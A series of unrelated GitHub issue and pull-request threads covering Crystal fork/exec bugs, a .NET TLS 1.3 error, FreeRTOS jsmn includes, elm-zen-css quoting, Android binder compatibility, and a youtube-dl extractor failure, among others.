I did a quick debug on your code and the return value of run that you got is the Process::Status... so within that run function in the Process module.. it shows a new process that is waited on... it appears that your arguments are a little off, as it can take up to 9 arguments.  And if you look at the docs... argument 7 is a Pipe in the second run, as opposed to a different socket type in the one you are using. If Crystal acts like Java (which appears to be true) and discovers which run to use by the use of it's arguments, then you probably need to look into your arguments.
If this function acts like a C function, this probably is the root of the problem.
That is far as what I can tell from this.

`i = 0
while i < 5
puts "======================="
puts "LOOP"
puts "======================="
fork_new_process()
sleep 1
i += 1
end
def fork_new_process()
process = Process.fork() do
# Child process
puts "Child == #{Process.pid}"
stdout = IO::Memory.new
stderr = IO::Memory.new
puts "START"
x = Process.run("echo", arg : {"hello"}, output : stdout, error : stderr, String : nil)
puts x
puts "END"
puts stdout.to_s
puts stderr.to_s
# exit 0 # Exit on end
end
puts "Parent == #{Process.ppid}"
process.wait
end`
As you can see, I tweeked it a bit.  I wouldn't use an open loop, that is scary stuff, esp. on forking.  A hard fork creates a process, and since I don't believe you are waiting for the parent to wait, you could have a process on a process on a process..... etc.... infinity.
So, the part asking about the parent is pointless, unless you want to get a group Id or ppid or something from it.
=======================
LOOP
Parent == 3132
Process terminated true
Process terminated false
Child == 3825
START
Process::Status
Am I a ZOMBIE??? true
END
hello
Am I a ZOMBIE??? 3817: true
LOOP
Parent == 3132
Process terminated true
Child == 3827
Process terminated false
START
^C
This is the output that I got from top before CTRL C:
PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
1 root      20   0    8304    132    104 S   0.0  0.0   0:00.14 init
2495 root      20   0    8308     96     52 S   0.0  0.0   0:00.00 init
2496 saleen    20   0   19804   8488   8388 S   0.0  0.1   0:00.30 bash
2932 saleen    20   0   16136   1984   1432 S   0.0  0.0   0:02.55 top
3131 root      20   0    8308    100     56 S   0.0  0.0   0:00.00 init
3132 saleen    20   0   20204   8796   8704 S   0.0  0.1   0:00.50 bash
3817 saleen    20   0   96308   2168   2052 S   0.0  0.0   0:00.03 test
3827 saleen    20   0   96308   2036   1920 S   0.0  0.0   0:00.00 test
3829 root      20   0    8308    100     56 S   0.0  0.0   0:00.00 init
After CTRL C, and top shows, ZOMBIELAND:
PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
1 root      20   0    8304    132    104 S   0.0  0.0   0:00.14 init
2495 root      20   0    8308     96     52 S   0.0  0.0   0:00.00 init
2496 saleen    20   0   19804   8488   8388 S   0.0  0.1   0:00.30 bash
2932 saleen    20   0   16136   1984   1432 S   0.0  0.0   0:02.66 top
3131 root      20   0    8308    100     56 S   0.0  0.0   0:00.00 init
3132 saleen    20   0   20204   8796   8568 S   0.0  0.1   0:00.50 bash
3829 root      20   0    8308    100     56 S   0.0  0.0   0:00.00 init
3830 saleen    20   0   19804   8488   8392 S   0.0  0.1   0:00.32 bash
4147 saleen    20   0   16136   1988   1436 R   0.0  0.0   0:00.16 top
as you can see, there are ZOMBIE children running around... got go and kill them now.
Your code needs to be refactored to work properly.

It seems fork is broken
Ruby/Crystal:
system "echo 0"

unless fork
  puts "before"
  system "echo 1"
  puts "after"
end

Ruby output:
0
before
1
after

Crystal output:
0
before
1

Note that "after" is missing.
This works as expected if you remove the first system call.
Most probably a duplicate of https://github.com/crystal-lang/crystal/issues/5236

@asterite some refactoring may be needed to the base code..
But I have successfully implemented the fork function in Crystal.
Here is my code: (it works on Ruby and Crystal) and gets similar results, albeit, Crystal is significantly faster.
`def main(num, limit)
puts "Ready!"
total_time = stopwatch_start()
pids = [] of Process
num.times do |i|
natural = Natural.new
puts natural.class
primes = Primes.new(natural)
prnt_cnt = 97

puts "Start. . . . ."

prime_ctr = 1 #{ count: 1 }
puts "working....."

start = stopwatch_start()
pids << Process.fork do
  puts "Fork-baby #{i} #{Process.pid} is starting >>> "

  loop do
    p = primes.next

    if p & 0x1 == 1
      prime_ctr += 1

      if prime_ctr ^ prnt_cnt == 0
        puts "Fork-baby #{i+1} #{Process.pid} computed #{prime_ctr} primes in #{elapsed_time(start).to_f} seconds. The last one is #{p}"
        prnt_cnt <<= 1
      end
    end

    break if prime_ctr >= limit
  end

  puts "Fork-baby #{i+1} #{Process.pid} is ending <<< \n"
  puts "Fork-baby #{i+1} #{Process.pid} processed #{prime_ctr} prime numbers in #{elapsed_time(start).to_f} seconds"
  puts
end
# pid.wait
# puts Process.times

end
waitall(pids)
puts "#{num * limit} prime numbers: TOTAL #{num} PROCESS TIME(includes wait): #{elapsed_time(total_time).to_f} / AVERAGE: #{elapsed_time(total_time).to_f / num.to_f} seconds"
end`
The waitall(pids) is where I made my own function for the parent to wait to reap all of the children as a group from the Array of pid.. Or you can just use it wait for one child at a time with wait.

@98-f355-f1 does the code posted by @c910335 or by me work for your case the same in Ruby and Crystal? If not, that's a bug. It doesn't matter if your code works well, that means there's no bug in that scenario. But there's definitely a bug in these other scenarios... that's what a bug is, after all, some wrong behavior under certain scenarios.

Yeah, it feels like a duplicate of #5326 that is that it's unrelated to fork itself but to exec. The executed program resets O_NONBLOCK of STDIN, STDOUT and STDERR that are shared with the parent and fork/exec process which generates weird behavior.
This shouldn't happen with #6068 or by redirecting the STDOUT of the exec program (workaround) for example.

@asterite I got the Ruby output... but I guess the issue is known.

I guess we could try merging #6068, if others agree. The STDIN/STDOUT/STDERR is probably one of the most common errors users stumble upon, so any fix that works better than the current behavior is good.

@asterite I could look into this problem, take some time though. It looks like a bear to tackle.
I would like some clarification though about the wait function in the Process module.
Does it wait for a queue of the PIDs? there is the @wait_count class variable that looks like it increments for each fork that is released.  Is this the way it works? OR it seems to receive any exception handling errors?
As opposed to MRI C Ruby just iterates over all of the PIDs and nulls them
Would Crystal benefit from a waitall function? I could write one up.

I don't have much idea about all of this, plus I didn't write it, so someone else should answer that.

How Signals  are handled in Crystal
# Psuedo code
@@r, @@w = IO.pipe

# called by kernel when the signal arrives
# the signal is immediately recorded and this function returns
def signal_handler(sig : Int32)
   @@w.write(sig)
end

# this fiber reads the recorded signals from the pipe
# and processes them
spawn do
   loop do
     sig = @@r.read_bytes(Int32)
     @@handlers[sig].call
   end
end

As part of Process.fork, the after_fork handlers are called and a new pipe is created so that the forked process doesn't keep on reading/writing to parent's signal pipe.
Now, the issue is when Process.fork is called this fiber is still alive and in the middle of a ```read`` call on parent's pipe's read end. So, it will block until the pipe is closed or a signal arrives.
So, the fix is to close the parent's pipe in after_fork handler. So this works.
module Crystal::Signal
  def self.after_fork
    @@pipe[0].close
    @@pipe[1].close
    previous_def
  end
end

system "echo 0"

unless fork
  puts "before"
  system "echo 1"
  puts "after"
end

Output
0
before
1
after

But, this isn't an entirely correct solution. The reason for that is before Crystal::Signal.after_fork handler is called a call to Scheduler.after_fork is made. If that call ends up resuming the signal loop fiber ( which it doesn't currently but might if crystal were multi-threaded), then this loop fiber will have just stolen some signals from the parent until the pipe is closed.
The correct solution would be to either keep only the forking fiber alive after fork or disabling fork without exec all together.

@ysbaddaden the original example always redirects output and error to IOs though.

I'm sure this will turn out to be fork and waitpid/signal handing interacting.


HyperEdit isn't being updated by the indexer

I'm not sure why or what magic makes it run but the person running www.kerbaltek.com informed me on IRC that things look fine on their end.
Ezriilc can be found on IRC or you can use the contact form on the website.
@techman83

Closing for https://github.com/KSP-CKAN/CKAN/pull/1696


Add a string sanitizing output transformer

[ ] Implement sanitization algorithm
[ ] Create String sanitizer that can be used as an output transformer
[ ] Write tests
[ ] Write code documentation
[ ] Add sample code
[ ] Update README.md
[ ] Update Wiki
[ ] Update CHANGELOG.md
[ ] Update Github milestone

Canceled since it probably isn't so useful


Hi ho, Typo!

Typo fix.
Credit to @Julcompa for finding it.

Thanks for the credit @Coeur  that's a substantial PR lol 😂.

Nice catch, thanks

@swift-ci Please smoke test

Thanks, @Coeur & @Julcompa! 👏🐎🏜⛺


Updates

Remove WordPressVIPMinimum.Variables.VariableAnalysis sniff because it's deprecated & replace with VariableAnalysis, which is now a dependency.
Remove patch for PHP8, which I believe is no longer needed from the discovery I did. It was throwing an error that the patch could not be applied for projects & I believe that when WPCS as updated to 3.0 it is no longer needed.

@lindseyolson thanks! I'll test this this morning and get back to you

@lindseyolson I removed the entire composer patches library as it's not longer needed and set a minimum vipwpcs version now they finally added PHP8 support.

Great thank you @defunctl!


Perform landscaping for top 3 candidates for support in CELLxGENE

Top 3 candidates as determined by RICE modeling were:

Model organisms
Epigenomics
Antibody detection of protein abundance

Need to reconfirm the priority of this work. Will update when I get clarity


Upgrade to pydantic v2

pydantic v2 provides performance improvements.

@horsburgh No. Lot of code has changed since I last worked on this upgrade. I have to bring this branch up to date with develop and make further code changes to meet Pydantic v2 requirements.


feat(conf) always show urgent workspaces in i3

What type of PR is this? (check all applicable)

[ ] Refactor
[x] Feature
[ ] Bug Fix
[ ] Optimization
[ ] Documentation Update
[ ] Other: Replace this with a description of the type of this PR

Description
Given pin-workspaces = true, setting show-urgent = true will show urgent workspaces on the current bar even when the workspace is not associated with the current monitor. If pin-workspaces = false, this option has no effect.
Related Issues & Documents
Closes #2374
Documentation (check all applicable)

[x] This PR requires changes to the Wiki documentation (describe the changes)
[ ] This PR requires changes to the documentation inside the git repo (please add them to the PR).
[ ] Does not require documentation changes

--- wiki.old	2021-02-14 05:34:34.898430279 +0100
+++ wiki.new	2021-02-14 05:37:25.829103300 +0100
@@ -34,6 +34,16 @@
 ; Default: false
 pin-workspaces = true

+; Show workspaces having the urgent hint set in the bar
+; regardless of the workspace being on the current output
+; or not.
+;
+; This option only makes sense in when pin-workspaces is
+; enabled.
+;
+; Default: false
+show-urgent = true
+
 ; This will split the workspace name on ':'
 ; Default: false
 strip-wsnumbers = true

Amended to the commit.

Thanks! :rocket:


Add "Introduction to Reinforcement Learning"

Hacktoberfest notes:

due to volume of submissions, we may not be able to review PRs that do not pass tests and do not have informative titles.
please read our contributing guidelines
be sure to check the output of Travis-CI for linter errors
if this is your first open source contribution, make sure it's not your last!

What does this PR do?
Add "Introduction to Reinforcement Learning" / David Silver
For resources
Description
Why is this valuable (or not)?
This is a great course, offerred freely
How do we know it's really free?
It's available through youtube
For book lists, is it a book? For course lists, is it a course? etc.
Checklist:

[X] Not a duplicate
[X] Included author(s) if appropriate
[X] Lists are in alphabetical order
[X] Needed indications added (PDF, access notes, under construction)

Thanks, and welcome to free-programming-books!


.NET 5 TLS 1.3 AuthenticationException

Description

public class Program
    {
        public static async Task Main(string[] args)
        {
            var client = new HttpClient();

            var response = await client.GetStringAsync("https://www.google.com");

            Console.WriteLine(response);
        }
    }

Throws:
{"An error occurred while sending the request."} | System.Net.Http.HttpRequestException
-> {"The read operation failed, see inner exception."} | System.Exception {System.IO.IOException}
--> {"Authentication failed, see inner exception."} | System.Exception {System.Security.Authentication.AuthenticationException}
---> {"The message received was unexpected or badly formatted."} | System.Exception {System.ComponentModel.Win32Exception}
Deepest Stack Trace:
   at System.Net.Security.SslStream.<ForceAuthenticationAsync>d__171`1.MoveNext()
   at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
   at System.Runtime.CompilerServices.TaskAwaiter.ThrowForNonSuccess(Task task)
   at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
   at System.Runtime.CompilerServices.ConfiguredTaskAwaitable.ConfiguredTaskAwaiter.GetResult()
   at System.Net.Security.SslStream.<ReplyOnReAuthenticationAsync>d__170`1.MoveNext()
   at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
   at System.Runtime.CompilerServices.TaskAwaiter.ThrowForNonSuccess(Task task)
   at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
   at System.Runtime.CompilerServices.ConfiguredTaskAwaitable.ConfiguredTaskAwaiter.GetResult()
   at System.Net.Security.SslStream.<ReadAsyncInternal>d__181`1.MoveNext()

Configuration

Runtime: Microsoft.NETCore.App 5.0.6
OS: Windows 10 Version 20H2 Build 19042.985
x64 (don't think bitness is an the issue)
Regression?

Other information

This  occurs with the following registry entries in place:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.3]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.3\Client]
"DisabledByDefault"=dword:00000000
"Enabled"=dword:00000001

Disabling TLS 1.3 by reversing the values and running the repro does not throw an exception.

The Windows build seems pretty old. There were several important fixes in Insider Preview builds. They also do not need the registry and TLS 1.3 is enabled by default e.g. is ready for real use.
I did check on build 21376 and it works fine. So any fix is likely to come from Windows update.

https://docs.microsoft.com/en-us/windows/win32/secauthn/protocols-in-tls-ssl--schannel-ssp-
20H2 is explicitly listed as not supported.

https://docs.microsoft.com/en-us/windows/win32/secauthn/protocols-in-tls-ssl--schannel-ssp-
20H2 is explicitly listed as not supported.

Ah, understood.  Thank you, @wfurt.


Set timeline height when mode is active

resolves #39
Sets timeline height to 75px when the mode is set for annotators.

Minor tweak request while we're at it: can you make the gray shaded box appear only within the track display (so that it doesn't extend into the timestamps on the axis)?

good call, this is much better:


Display description for rule exit conditions

Please display the exit condition description  (band result and case result descriptions are already displayed)

Tested and confirmed fixed (improved)


AFR & ESP32: How to INCLUDE -isystem ../libraries/3rdparty/jsmn for using JSMN library with MQTT Demo?

Namaste,
Below is a sample MQTT Publish payload, which I would like to publish in JSON format on the AWS IoT web console.
    {
      "timestamp":<PHONE_NUMBER>,
      "deviceId": "esp32DevKitCBoard01",
      "param01": 012345.67,
      "param02": 678901.23
    }

After browsing the OTA Update demo code, I found the ../libraries/3rdparty/jsmn library, which the OTA Update demo leverages for receiving an OTA update. So, I am trying to use this library for converting my Publish payload in JSON format, before calling the IotMqtt_Publish().
#include "jsmn.h" in the iot_demo_mqtt.c source file generates fatal error: jsmn.h: No such file or directory
In the build.ninja log for OTA Update demo, I have observed that the OTA Update source files build with an additional INCLUDE =  -isystem ../libraries/3rdparty/jsmn.
Sample build command for the aws_iot_ota_agent.c source file is provided below. Scroll to the extreme right to view the same.
build CMakeFiles/afr_ota.dir/libraries/freertos_plus/aws/ota/src/aws_iot_ota_agent.c.obj: C_COMPILER__afr_ota_ ../libraries/freertos_plus/aws/ota/src/aws_iot_ota_agent.c || cmake_object_order_depends_target_afr_ota
  DEFINES = -DAFR_ESP_LWIP -DESP_PLATFORM -DGCC_NOT_5_2_0=0 -DHAVE_CONFIG_H -DIDF_VER=\"v3.3-163-g601a03e\" -DMBEDTLS_CONFIG_FILE=\"D:/gitHub/dipen-1337lab/repositories/evcharging/devV2/evcharging/device/firmware/aws/proj04/FreeRTOS/vendors/espressif/boards/esp32/components/mbedtls/port/include/mbedtls/esp_config.h\"
  DEP_FILE = CMakeFiles\afr_ota.dir\libraries\freertos_plus\aws\ota\src\aws_iot_ota_agent.c.obj.d
  FLAGS = -mlongcalls   -mlongcalls -Og -ffunction-sections -fdata-sections -fstrict-volatile-bitfields -nostdlib -Wall -Werror=all -Wno-error=unused-function -Wno-error=unused-but-set-variable -Wno-error=unused-variable -Wno-error=deprecated-declarations -Wextra -Wno-unused-parameter -Wno-sign-compare -ggdb -std=gnu99 -Wno-old-style-declaration -Wno-maybe-uninitialized
  INCLUDES = -I../libraries/freertos_plus/aws/ota/src -I../libraries/3rdparty/mbedtls/include -I../libraries/freertos_plus/aws/ota/include -I../libraries/freertos_plus/standard/crypto/include -I../freertos_kernel/include -I../vendors/espressif/esp-idf/components/app_update/include -I../vendors/espressif/esp-idf/components/bootloader_support/include -I../vendors/espressif/esp-idf/components/esp32/include -I../vendors/espressif/esp-idf/components/esp_event/include -I../vendors/espressif/esp-idf/components/efuse/include -I../vendors/espressif/esp-idf/components/driver/include -I../vendors/espressif/esp-idf/components/heap/include -I../vendors/espressif/esp-idf/components/log/include -I../vendors/espressif/esp-idf/components/nvs_flash/include -I../vendors/espressif/esp-idf/components/pthread/include -I../vendors/espressif/esp-idf/components/newlib/include -I../vendors/espressif/esp-idf/components/newlib/platform_include -I../vendors/espressif/esp-idf/components/soc/esp32/include -I../vendors/espressif/esp-idf/components/soc/include -I../vendors/espressif/esp-idf/components/spi_flash/include -I../vendors/espressif/esp-idf/components/vfs/include -I../vendors/espressif/boards/esp32/components/freertos/include -I../vendors/espressif/boards/esp32/components/mbedtls/port/include -I../vendors/espressif/esp-idf/components/tcpip_adapter/include -I../freertos_kernel/portable/ThirdParty/GCC/Xtensa_ESP32/include -I../firmware/include -I../vendors/espressif/boards/esp32/proj04/config_files -Iconfig -I../libraries/freertos_plus/standard/pkcs11/include -I../libraries/abstractions/pkcs11/include -I../libraries/c_sdk/standard/mqtt/include -I../libraries/c_sdk/standard/common/include -I../libraries/abstractions/platform/include -I../libraries/abstractions/platform/freertos/include -I../libraries/abstractions/secure_sockets/include -I../libraries/c_sdk/standard/common/include/private -I../libraries/c_sdk/standard/serializer/include -I../libraries/3rdparty/tinycbor -I../libraries/3rdparty/mbedtls/include/mbedtls -I../libraries/abstractions/pkcs11/mbedtls -I../libraries/c_sdk/standard/ble/include -I../libraries/abstractions/ble_hal/include -I../libraries/c_sdk/standard/https/include -isystem ../libraries/3rdparty/pkcs11 -isystem ../libraries/3rdparty/jsmn
  OBJECT_DIR = CMakeFiles\afr_ota.dir
  OBJECT_FILE_DIR = CMakeFiles\afr_ota.dir\libraries\freertos_plus\aws\ota\src
  TARGET_COMPILE_PDB = CMakeFiles\afr_ota.dir\afr_ota.pdb
  TARGET_PDB = afr_ota.pdb

The build.ninja log for the iot_demo_mqtt.c source file does include the -isystem ../libraries/3rdparty/pkcs11. The log is again shared below; scroll right towards the end. How do I also include the '-isystem ../libraries/3rdparty/jsmn', so as to leverage the JSMN library?
build CMakeFiles/proj02.dir/firmware/mqtt/iot_demo_mqtt.c.obj: C_COMPILER__proj02_ ../firmware/mqtt/iot_demo_mqtt.c || cmake_object_order_depends_target_proj02
  DEFINES = -DESP_PLATFORM -DGCC_NOT_5_2_0=0 -DHAVE_CONFIG_H -DIDF_VER=\"v3.3-163-g601a03e\" -DMBEDTLS_CONFIG_FILE=\"D:/aws/proj02/FreeRTOS/vendors/espressif/boards/esp32/components/mbedtls/port/include/mbedtls/esp_config.h\"
  DEP_FILE = CMakeFiles\proj02.dir\firmware\mqtt\iot_demo_mqtt.c.obj.d
  FLAGS = -mlongcalls   -mlongcalls -Og -ffunction-sections -fdata-sections -fstrict-volatile-bitfields -nostdlib -Wall -Werror=all -Wno-error=unused-function -Wno-error=unused-but-set-variable -Wno-error=unused-variable -Wno-error=deprecated-declarations -Wextra -Wno-unused-parameter -Wno-sign-compare -ggdb -std=gnu99 -Wno-old-style-declaration -Wno-maybe-uninitialized
  INCLUDES = -I../freertos_kernel/include -I../vendors/espressif/esp-idf/components/app_update/include -I../vendors/espressif/esp-idf/components/bootloader_support/include -I../vendors/espressif/esp-idf/components/esp32/include -I../vendors/espressif/esp-idf/components/esp_event/include -I../vendors/espressif/esp-idf/components/efuse/include -I../vendors/espressif/esp-idf/components/driver/include -I../vendors/espressif/esp-idf/components/heap/include -I../vendors/espressif/esp-idf/components/log/include -I../vendors/espressif/esp-idf/components/nvs_flash/include -I../vendors/espressif/esp-idf/components/pthread/include -I../vendors/espressif/esp-idf/components/newlib/include -I../vendors/espressif/esp-idf/components/newlib/platform_include -I../vendors/espressif/esp-idf/components/soc/esp32/include -I../vendors/espressif/esp-idf/components/soc/include -I../vendors/espressif/esp-idf/components/spi_flash/include -I../vendors/espressif/esp-idf/components/vfs/include -I../vendors/espressif/boards/esp32/components/freertos/include -I../vendors/espressif/boards/esp32/components/mbedtls/port/include -I../vendors/espressif/boards/esp32/components/freertos_tcpip/ethernet/include -I../vendors/espressif/boards/esp32/components/freertos_tcpip/smartconfig_ack/include -I../vendors/espressif/boards/esp32/components/freertos_tcpip/tcpip_adapter/include -I../libraries/freertos_plus/standard/freertos_plus_tcp/source/portable/Compiler/GCC -I../freertos_kernel/portable/ThirdParty/GCC/Xtensa_ESP32/include -I../firmware/include -I../vendors/espressif/boards/esp32/proj02/config_files -Iconfig -I../vendors/espressif/esp-idf/components/bt/bluedroid/api/include/api -I../vendors/espressif/esp-idf/components/bt/include -I../vendors/espressif/esp-idf/components/nimble/nimble/porting/nimble/include -I../vendors/espressif/esp-idf/components/nimble/port/include -I../vendors/espressif/esp-idf/components/nimble/nimble/nimble/include -I../vendors/espressif/esp-idf/components/nimble/nimble/nimble/host/include -I../vendors/espressif/esp-idf/components/nimble/nimble/nimble/host/services/ans/include -I../vendors/espressif/esp-idf/components/nimble/nimble/nimble/host/services/bas/include -I../vendors/espressif/esp-idf/components/nimble/nimble/nimble/host/services/gap/include -I../vendors/espressif/esp-idf/components/nimble/nimble/nimble/host/services/gatt/include -I../vendors/espressif/esp-idf/components/nimble/nimble/nimble/host/services/ias/include -I../vendors/espressif/esp-idf/components/nimble/nimble/nimble/host/services/lls/include -I../vendors/espressif/esp-idf/components/nimble/nimble/nimble/host/services/tps/include -I../vendors/espressif/esp-idf/components/nimble/nimble/nimble/host/util/include -I../vendors/espressif/esp-idf/components/nimble/nimble/nimble/host/store/ram/include -I../vendors/espressif/esp-idf/components/nimble/nimble/nimble/host/store/config/include -I../vendors/espressif/esp-idf/components/nimble/nimble/porting/npl/freertos/include -I../vendors/espressif/esp-idf/components/nimble/nimble/ext/tinycrypt/include -I../vendors/espressif/esp-idf/components/nimble/esp-hci/include -I../vendors/espressif/boards/esp32/ports/ble -I../vendors/espressif/boards/esp32/ports/ble/bluedroid -I../vendors/espressif/boards/esp32/ports/ble/nimble -I../libraries/abstractions/wifi/include -I../libraries/c_sdk/standard/common/include -I../libraries/freertos_plus/standard/utils/include -I../libraries/abstractions/secure_sockets/include -I../libraries/c_sdk/standard/common/include/private -I../libraries/freertos_plus/standard/crypto/include -I../libraries/3rdparty/mbedtls/include -I../libraries/3rdparty/mbedtls/include/mbedtls -I../libraries/abstractions/pkcs11/mbedtls -I../libraries/c_sdk/standard/ble/include -I../libraries/abstractions/ble_hal/include -I../libraries/abstractions/platform/include -I../libraries/abstractions/platform/freertos/include -I../libraries/c_sdk/standard/serializer/include -I../libraries/3rdparty/tinycbor -I../vendors/espressif/esp-idf/components/esp_ringbuf/include -I../libraries/freertos_plus/standard/freertos_plus_tcp/include -I../vendors/espressif/esp-idf/components/micro-ecc/micro-ecc -I../vendors/espressif/esp-idf/components/efuse/esp32/include -I../vendors/espressif/esp-idf/components/xtensa-debug-module/include -I../vendors/espressif/esp-idf/components/app_trace/include -I../vendors/espressif/esp-idf/components/wpa_supplicant/include -I../vendors/espressif/esp-idf/components/wpa_supplicant/port/include -I../vendors/espressif/esp-idf/components/espcoredump/include -I../vendors/espressif/esp-idf/components/console -I../vendors/espressif/esp-idf/components/esp_adc_cal/include -I../vendors/espressif/esp-idf/components/expat/expat/expat/lib -I../vendors/espressif/esp-idf/components/expat/port/include -I../vendors/espressif/esp-idf/components/wear_levelling/include -I../vendors/espressif/esp-idf/components/sdmmc/include -I../vendors/espressif/esp-idf/components/fatfs/src -I../vendors/espressif/esp-idf/components/freemodbus/modbus/include -I../vendors/espressif/esp-idf/components/freemodbus/modbus_controller -I../vendors/espressif/esp-idf/components/nghttp/port/include -I../vendors/espressif/esp-idf/components/nghttp/nghttp2/lib/includes -I../vendors/espressif/esp-idf/components/openssl/include -I../vendors/espressif/esp-idf/components/spiffs/include -I../vendors/espressif/esp-idf/components/ulp/include -I../firmware/network_manager -I../firmware/dev_mode_key_provisioning/include -I../libraries/freertos_plus/standard/pkcs11/include -I../libraries/abstractions/pkcs11/include -I../libraries/c_sdk/standard/mqtt/include -isystem ../libraries/3rdparty/pkcs11
  OBJECT_DIR = CMakeFiles\proj02.dir
  OBJECT_FILE_DIR = CMakeFiles\proj02.dir\firmware\mqtt
  TARGET_COMPILE_PDB = CMakeFiles\proj02.dir\
  TARGET_PDB = proj02.pdb

Thanks | Regards,
Dipen

Hello @dipen-1337,
To include jsmn just for the demo you may update demos\mqtt\CMakeLists.txt to include the jsmn module:
afr_module_dependencies(
    ${AFR_CURRENT_MODULE}
    INTERFACE
        AFR::mqtt
        3rdparty::jsmn
)

Then regenerate the build files with CMake according to: https://docs.aws.amazon.com/freertos/latest/userguide/getting_started_espressif.html#build-and-run-example-espressif

Namaste @sarenameas,
Thank you for resolving my issue. I confirm that I'm able to include the JSMN library in the iot_demo_mqtt.c source file and, generate the binary image.
Thanks | Regards,
Dipen


Quotes cause naming error

Hi, first of all, thanks for making elm-zen-css! 😁
I’m having an issue with this code for a radio button group
radioButton : Class
radioButton =
    CSS.class "radioButton" []
        |> PseudoClasses.custom "has(input[type=\"radio\"]:checked)"
            [ custom "background-color" "blue" ]

Error:
$ elm-zen-css stylesheet/Main.elm --css stylesheet/main.css --elm src/Classes.elm

-- NAMING ERROR -------------------- /tmp/elmzencss_24664835737283/ExportCss.elm

I cannot find a `radio` variable:

63|     CSS.class "radioButton" [] |> PseudoClasses.custom "has(input[type="radio"]:checked)"
                                                                             ^^^^^

I suspect somewhere in the code generation the quotes are not escaped properly.
I hope this is helpful!

Thanks for reporting this. I guess this should be looked into, but may I suggest if it would be a valid workaround for now to change it to read PseudoClasses.custom "has(input[type=radio]:checked)"?

Yes it works, thanks for the workaround!


Fix: Compatibility with different versions of 'Stability' in Android Binder Protocol

panic on Android 12
OnePlus8T:/data/local/tmp # ./hello_service
[2024-03-11T13:37:55Z WARN  rsbinder::process_state] Binder ioctl to enable oneway spam detection failed: EINVAL: Invalid argument
[2024-03-11T13:37:55Z WARN  rsbinder::thread_state] binder::BR_REPLY (BadType)
Error: TransactionFailed / BadType:

Android 12 version uses "Category" as the stability format for passed on the wire lines, whereas other versions do not. Therefore, we can use the android_properties crate to determine the Android version and perform different handling accordingly.
http://aospxref.com/android-11.0.0_r21/xref/frameworks/native/libs/binder/include/binder/Stability.h
http://aospxref.com/android-12.0.0_r3/xref/frameworks/native/include/binder/Stability.h
http://aospxref.com/android-13.0.0_r3/xref/frameworks/native/libs/binder/include/binder/Stability.h
http://aospxref.com/android-14.0.0_r2/xref/frameworks/native/libs/binder/include/binder/Stability.h

I merged your PR.
Then I added another commit that removes the dependency on android-properties and changes it so that developers can specify the Android version through the set_android_version() function. This was because android-properties was not built in the NDK environment.


If a date from the database is unparseable, use the raw string

Some judgments don't have a valid date attribute as understood by the SearchResult class. This means their date is set to "", which is unparseable. Since we try parse this string, it throws an error.
This PR catches the error and falls back to the raw date string. This will usually be an empty string, but could (in theory) be all kinds of unparseable stuff which nonetheless can be understood by a human.

Codecov Report

Merging #652 (d7b6ed3) into main (6c6126d) will decrease coverage by 0.18%.
The diff coverage is 60.00%.

:mega: This organization is not using Codecov’s GitHub App Integration. We recommend you install it so Codecov can continue to function properly for your repositories. Learn more
@@            Coverage Diff             @@
##             main     #652      +/-   ##
==========================================
- Coverage   84.48%   84.31%   -0.18%
==========================================
  Files          17       17
  Lines         780      784       +4
  Branches       49       49
==========================================
+ Hits          659      661       +2
- Misses        105      107       +2
  Partials       16       16

Impacted Files
Coverage Δ

judgments/models.py
92.85% <60.00%> (-3.30%)
:arrow_down:

:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more

I'm in the process of refactoring how we handle the entire SearchResults class so we can unify it in the API library, which will include writing tests for the whole thing.


Tabbar tweaks

Can you move the icons a bit more closer together so that they appear less disconnected? The difference for the two outer icons in a 5-icon tabbar is 120px/60pt each. I would strive for the same distance inbetween icons on the 4-icon tabbar we have for Search

It could be the color-profile of the screenshot, but it seems icons appear darker than designed(?)

top = current, bottom = new

@thm Yes, this is pretty odd.  Most of the colours are actually appearing darker than in the mockups, despite using the hex codes provided.  The refresh/reload control is the same way.  I'll take care of it.

Brought the tab bar items closer in for the iPad, only. This will be available in the next beta build

@SwiftlyDeft looks good, thanks!


xhamster support broken

➜  ~  youtube-dl https://xhamster.com/movies/2479185/threes_company_for_fisting_and_squirting_masterpiece.html\?from\=promo_block
[XHamster] 2479185: Downloading webpage
WARNING: unable to extract thumbnail; please report this issue on https://yt-dl.org/bug . Make sure you are using the latest version; type  youtube-dl -U  to update. Be sure to call youtube-dl with the --verbose flag and include its complete output.
ERROR: Unable to extract media URL; please report this issue on https://yt-dl.org/bug . Make sure you are using the latest version; type  youtube-dl -U  to update. Be sure to call youtube-dl with the --verbose flag and include its complete output.
➜  ~  youtube-dl https://xhamster.com/movies/2479185/threes_company_for_fisting_and_squirting_masterpiece.html\?from\=promo_block --verbose
[debug] System config: []
[debug] User config: []
[debug] Command-line args: [u'https://xhamster.com/movies/2479185/threes_company_for_fisting_and_squirting_masterpiece.html?from=promo_block', u'--verbose']
[debug] Encodings: locale UTF-8, fs utf-8, out UTF-8, pref UTF-8
[debug] youtube-dl version 2015.07.28
[debug] Python version 2.7.6 - Darwin-14.4.0-x86_64-i386-64bit
[debug] exe versions: ffmpeg present, ffprobe present, rtmpdump 2.4
[debug] Proxy map: {}
[XHamster] 2479185: Downloading webpage
WARNING: unable to extract thumbnail; please report this issue on https://yt-dl.org/bug . Make sure you are using the latest version; type  youtube-dl -U  to update. Be sure to call youtube-dl with the --verbose flag and include its complete output.
ERROR: Unable to extract media URL; please report this issue on https://yt-dl.org/bug . Make sure you are using the latest version; type  youtube-dl -U  to update. Be sure to call youtube-dl with the --verbose flag and include its complete output.
Traceback (most recent call last):
  File "/usr/local/bin/youtube-dl/youtube_dl/YoutubeDL.py", line 656, in extract_info
    ie_result = ie.extract(url)
  File "/usr/local/bin/youtube-dl/youtube_dl/extractor/common.py", line 279, in extract
    return self._real_extract(url)
